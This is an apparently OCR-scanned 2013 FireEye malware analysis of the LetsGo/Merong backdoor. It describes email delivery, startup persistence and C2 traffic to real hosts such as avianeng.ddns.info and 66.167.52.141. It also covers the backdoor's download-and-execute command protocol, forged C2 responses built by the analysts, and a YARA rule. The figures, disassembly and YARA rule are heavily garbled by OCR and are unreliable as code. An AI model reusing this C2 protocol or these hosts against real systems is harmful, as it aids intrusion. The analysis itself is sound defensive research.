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SUMMARY:

FireEye has been tracking an APT campaign for a while and we have noticed that this attack is currently active and
targeting companies.In this case, the campaign uses the name of the company it targets in the CnC domain name.
Data mining and hunting for further samples, we found that this malware consistently uses either names of
companies or a project that a specific company is working on in its CnC domain name to avoid raising any suspicion.

What does this have to do with dingoes and babies? The title comes from a string that we saw in all of the malware,
called LetsGo/Merong, and its variants.

INFECTION VECTOR:

The threat actors are currently using email to target their victims. Malicious URL’s in emails are currently the attack
vector of choice. It should be noted that Mandiant mentions this malware in the recent APT1 report - Mila at
contagiodump has a great classification of the Mandiant samples
(http://contagiodump.blogspot.com/2013/03/mandiant-aptl-samples-categorized-by.html). The malware families
that we talk about in this blog refer to families 25 TABMSGSQL and 44 WEBC2-YAHQOO. FireEye classifies this
specific variant of malware as Trojan.APT.LetsGo and Backdoor.APT.Merong.

TECHNICAL ANALYSIS:

The malware we saw was hosted on 66.167.52.141 in a zip file called Updated_office_contact_vl.zip. We discovered
that there were six other versions hosted on the same server 66.167.52.141.
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The zip file contains Updated_office_contact_vl.exe which when executed creates ctfmon.exe and
Lanl_Office_Contact_oct.pdf in the “%UserProfile%\Local Settings\Temp” directory. It then opens a decoy PDF
document i.e., Lanl_Office_Contact_oct.pdf from the Temp directory and then runs ctfmon.exe.
Lanl_office_contact_oct.pdf belongs to Los Alamos National Lab and the contacts in the PDF can be found on their
website as well. ctfmon.exe copies itself into the “%UserProfile%\Start Menu\Programs\Startup\ctfmon.exe” directory
to run on startup and starts talking to the CnC server. We saw that some variants of this malware create the following
entry in the registry. “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” to run at startup
under different names like - explorer, Symantec Update etc.

The following is the GET request from one of the samples analyzed -

! Follow TCP Stream =3

Stream Conkenk Result of msvert.time

GET /office/2399, htm]1AL361862 708 JHTTR/1.1
User-Agents ctffion Feb 25 23:11:48 2017) Result of msvert.ctime

Accepts */¥ .
Host: avianeng. ddns. info
connection: Keep-Alive

Figure 1

The GET request has a 10-digit current time as the URI. This is shown in the figure above.

CNC COMMANDS

The response we received from the above GET requests was a 404 so we forged the responses and analyzed one of
the samples to see how it behaves upon receiving valid responses.

At a very high level these are the following things the malware does:

1. It receives command and control information as base64 encoded strings using a custom character set, which is
further scrambled using a custom-scrambling algorithm.

2. It is capable of downloading and executing a base64-encoded executable embedded in an HTML page.

3. By default the malware sleeps for 600000 milliseconds before connecting again to the CnC server.

4. It keeps incrementing the sleep time by 1000 milliseconds for consequent communications with the CnC.
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The malware expects the below string in its response, where ‘r’ denotes different commands as a switch case in the

executable as shown in Figure 2.

<iMg

string>.p

>

There can be multiple instances of the above commands in an HTTP response.

OllyDbg - ctfmon.exe - [CPLI - main thread, module ctfmon]

E‘File Wieww Debug  Plugins  Options

Window Help

r= <integer> h=<integer> alt=<base64 encoded string> me=<base64 encoded string> s/<base64 encoded

B/ x|

ﬂu LR THIET JJJJJJJJJJJﬂJ

HE4EZCHS PUSH EEBX
EE4EZCHS [ . SH a8 PUISH & c = 6@
EE4E2CHE| . 68 4C21EEAB | PUSH ctfmon. BEEE3140C = = octfmon.BREE214C
HE4EZCHE| o ES 48820888 | CALL <JMF. 2MSUCRT.memset > nemset
HE4EzCEE| . B304 18 AOD ESF, 13
EE4B2CEZ| . 233C8 HOR ERX, ERX
HE4E2CES| . 80BD 33FFFFFF|LER EDI,DWORD PTR 55: [EEP-CE]
BE4E2CEE| . &R 1@ PUSH 1@
BE4BZCED| . B9 FOF ECH
BB4BECBE . F2:HE REF STOS DWORD FTR ES: [EDI]
. BSFF XDR EDI EDI Switch (cases 1..5)

. C?BE S4FEFEEE

:vggEM- e

~BF24 D1AGEEEEH
48

- 43
-~ AFEE E2A1AARRA

S3B0 &4FF

JMZ ot f mon L BE4E2ED L
T —

MDU DUDRD PTR_ Z&; CEEP-CCI, 44
MOL WORD FTR S%: [EBF-9CI,
JE ctfmon.BB4E2EDS

DEC ERX
JE _ctfmon. BE4E20EE
DEC EAX

74 A JE SHORT ctfmon. 08482051
. 42 DEC ERX
DEC ERX

[Elay —— o of switch BE482CC3
EEdEzCcF4 | . CPdS FCoBd@a@al Moy OWoRD FTR S5: CEEF-41,4 l

HE4E2CFE| o ES 2EBCEEER CHLL ctfrmon. BE4E332E chfmon . BE4E222E
Badaz0eal . 59 FOF ECH

Aad4Ez0a1 | . 68 3ATEARRR FUSH 7536 Timeout = 2ABBE. ms
EEd4Ez08s| o FFLIS 184a4888 CALL DWORD PTR D5:[<&KERMEL3Z.5leep’] Sleep

EEdEz0Ec| . 8045 BE LEH EHx,OWORD FTR S55: [EEF-421

BadEz0EF| . 58 PUSH ERX

@a4@z0lEl . 8085 24FFFFFF|LEA ERX,OWORD PTR 55: [EEFP-CC]

aad4aznlsl o 58 FUSH ERX

aad4azolvl . 57 FUSH EDI

dpdzzhie| - ST PUSH EOL

Figure 2

CNC SLEEP COMMAND R=1

If the response contains “r=1"
following manner. “h”

<html=
<hody>
<1iMg
Ffbudy}

X = (value of h) * 60000

r=1 h=5 alt=kow= >

Figure 3 - Crafted Response Packet

Switch case for value of
rin the HTTP response

, it commands the sample to sleep for X milliseconds, where X is calculated in the
is another parameter that the malware expects in its HTTP response as seen in Figure 3.

Upon receiving the above response the malware prepares to execute kernel32 sleep for 300000 milliseconds. Before
calling sleep it immediately sends back another GET request with “sleep 300000” prepended to User-Agent string as
seen in figure 4.


https://www.fireeye.com/content/dam/legacy/blog/2013/03/s-c.png
https://www.fireeye.com/content/dam/legacy/blog/2013/03/r-2.png

ST =T ST

GET /office/2395.htm171361862718 HTTP/1.1
User-agent : BEEEERDIDE, ct:Mon Feb 25 23:11:58 2013

Accept: ¥/ )
Host: avianeng.ddns.info
Connection: Keep-Alive

Figure 4 - Malware Sending Out Sleep in the UA

We believe that by sending “sleep 300000” in the User-Agent, the malware informs its CnC that it received the sleep
command.

DOWNLOAD & EXECUTE COMMAND R= 2

If the response contains r= 2, the malware takes the value of “alt” in the HTTP response and decodes it. It uses a hard
coded value (2546, hex 9F2) specified in the exe to scramble the base64 character set
"ZYXWVUTSRQPONMLKJIHGFEDCBA9876543210zyxwvutsrgponmlkjingfedcba@#|’ and uses this to decode the “alt”
parameter. It then uses the output of this decoding to scramble the base64 character set again, which is used to
decode the values of “me”, and the value between the “s/” and “.p” parameters in the HTTP response. These
parameters are shown in Figure 5.

To further validate this, we conducted a small experiment where we encoded a random number 12 using the same
algorithm as used by the malware, which resulted in the string “kQW=". We also encoded the strings “setup.exe” and
“www.example.com” and passed it as parameters to “me” and “s/” and “.p”. The figure below shows the forged
response.

<html =
<hody>
<iMg r= 2h=5% alt=kQw= me=nN45I#0b¥YmOnE s/ #U#FUlQIFOWEEVEIYDdzy. p B
<!bod%}
5Khtm >

Figure 5 - Forged HTTP Response Sent to the Malware

Figures 6 and 7 show how the malware is successfully able to decode values that it receives in its response.
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ADD ESP, 10

TEST ERX,.ERX

JE ctfmon. BE4EZED]L

MOL EB, 9F2

PUSH EBEX

CALL ot fmon. B04@2242

LER ER:,DOWORD PTR S55: [EBP-331
PUSH EEX

PUSH ERX

LER ER:,OWORD PTR S5:[EBP-281
PLUSH ERXY

CALL ot f mon . BA4E34EC

LER ER:,DWORD PTR S5z [EBP-221
PLUSH ERY

CALL ESI
PUSH ERX
CALL ot frmon . @8483342
LER EAX,DOWORD PTR S5:[EBP-1AC]
PUISH ERX
PUSH ot Mon . BB4BESD8

H ot fmon . BE4
PUSH OWORD PTR SS EEBP+8]
CALL ctfmon. @48
AOD ESF, 22
TEST EHX.EHX
JHMZ SHORT ot fmon. HE4E2CE1
OR BYTE PTR Z5:[EBF-221,8FF
JHMP SHORT ctfmon. 88482018
LER EAX,OWORD PTR S%5:[EBP-E22]
PUSH EEX

PUSH ERX

LER ERx,DWORD PTR SZ: [EEP-18C1
PLUSH ERY

CHLL it f mon . BA4EZ4EC

9F2 pushed to stack before calling scrambling al
Scramble custom characterset using hen FFZ2(2E44)

go in next instruction

kGEW= pushed to stack before calling decode funtion
Diecode

ASCII 12

in ERX

ASCII "re=""

Ara2
Arg=

Aral

D= code

Figure 6 - Decoding “ALT” Parameter in HTTP Response
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RT ctfmon.BEd
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PUSH ctfmon. 884B854ES
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Figure 7 - Decoding Encoded URL/Domain in HTTP Response

|

Ba1ZF20G

14
. ASCII "wWw.exanple.com™

BEFO7ECA| ASCII " r= 2h=5 alt=kGli= m
BREEEEZAZ| ASCII "http:~~wy le.ddns. in
vS237523
45355131
224BE729

The malware tries to connect to www.example.com via HTTP and expects a base64-encoded executable embedded
in the response. It then writes this executable to “%UserProfile%\Local settings\setup.exe” and launches the process.
The encoded executable is between hard coded strings “9=V?s” and “8.r1?” in the HTTP response. In our experiment,
since the CnC was not responding, we supplied an encoded notepad.exe in the response. The malware successfully
decoded notepad.exe and launched it as setup.exe on the compromised machine. It is also worthwhile to note that
after calling CreateProcessA to start “%UserProfile%\Local Settings\setup.exe”, the sample tries to find open dialog
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DOWNLOAD ONLY COMMAND R= 3

If the response contains r= 3, the malware pretty much does the same thing as the r= 2 case except that it saves in
the exe in a different directory which is C:\WINDOWS\setup.exe.

CEdEz04c] LB DEE1BEAOG P ctfmon. BE4682E

» 2085 F4FOFFFF LEH EHH DMDHD PTR SS [EEP-2EC]
aa4E2057| . 58
gaqEz0s2| . &8 DES44800 PUSH ctFmDn BE4a5403

Ga4E2050) . &8 24EBEEAE | PUSH ot fmon. SBSEEE24

ga4E2062 o FF1S 684846888 CALL DWORD PTR DS: [<&MSUCRT.sprintf ]
gad4Ez0es| . &8 BOSE4E0E FUSH ctfmon.BE48CEED
HA4AZ0E0( o ES FlRd4@a66 CALL ctfron.@@4@3263

. 2304 19 AOD ESP, 18
Ba4ez0vE| . 2BCY CHP ERx,EDI
aa4a2077| . 3945 @5 MOU OWORDC PTR S55: CEEP+51, EAX
GE4Ez07H| ~8FSE 51818688 JLE ctfmon.B@482ED]
aa4ez026| . B3 FUSH EB¥
aa4e20a1| . 57 PUSH EOI
aad4ez02z) . B& FUSH EEI
BE4Ez023| . ES GEBATEEOGE CALL <JMP.&MSUCRT.memset >
gadEz0esl . FFPS 88 PUSH DWORD PTR SS:[EBP+21]
aa48z02E| o B& FUSH E
AA4E20eC| . 68 4C316EQB PUSH ctfron.BA5E314C

. E8_Vebceang CHLL ctfmon.B84834a0
Ba4Ez0%c| . 2304 18 BDO ESP, 12
aa4E2093 . 3BC? CHMF ERX,EDI
BB4BEDQB ~BFE4 20010686 SE ctigon.BB4BEED1

|2

Case 2 of switch BE482CC3

rxs>

format = "xs"

= = etfmon., BBSEEE24

L=printf
Encoded notepad.exe embedded in the
HTTP response from www.example.com

by
Hral = BBGE314C RSCII "aSG7¥bbRbbEL BEBBocUBbR1ZBEEBBEBBEYBEEBEEEBEELEE

LDecode

FU E=l
. 68 FE7470EE | PUSH ctfmon.BE7O74FE

ASCII "C:-WIMDOWS~setup. ene™
Write decoded executable to Ci~WIMDOWS~setup.exe
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AP
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gEqEzicl| . &2 24EBSEDG PUSH ctfmon. BE5
Ga4ez0Cs| . FFLIE &2404660| CALL DWORD PTR DS [<&HSUCRT sprintf:]
aa4a20Ccc| . ES RIFPFFFF CALL ctfrmon.B@@462
ga4Ez001| . &2 BASE4800 PUSH ctfmon. BB4BSBBB
Ga4Ez00c| . ES 22048008 CALL ctfrmon.B0B483262
@a4E200B( . 23C4 1@ ACOO ESP, 18
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74 28 62 £5[28 72 75 EE[t be run EEbn| B
20 65 €E 28/ 44 4F 53 28| in D05 R R
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24 09 B DR[| 09 00 66 08| 5....... y | [Eebanad| e

Figure 8 - Decoding and Saving NOTEPAD.EXE AS C\WINDOWS\SETUP.EXE

EXECUTE ONLY COMMAND R=5

If the response contains r= 5, the malware sleeps for 30000 milliseconds and then launches C:\Windows\Setup.exe

as shown in the below figure.
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Figure 9 - Launching C\WINDOWS\SETUP.EXE After Executing Sleep 30000

We have observed many variants of this malware; some even try sending hostname and IP address information back
to its CnC as part of its User-Agent string in the GET request. One of the variants we observed had “IPhone 8.5” in

the UA string, which we found interesting.

Yara Rule:

rule APT Backdoor LetsGo Merong

meta:

author = "Vinay Pidathala”

type = "APT"

version = "1"

description = "APT campaign”

APT LetsGO Merong {
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$stril = "More than 30 years after her frantic”

$str2

"IPHONE"

$str3 = "FXSST.DLL"

condition:

all of them }

This entry was posted on Tue Mar 12 20:31 EDT 2013 and filed under Shray Kapoor and Vinay Pidathala.
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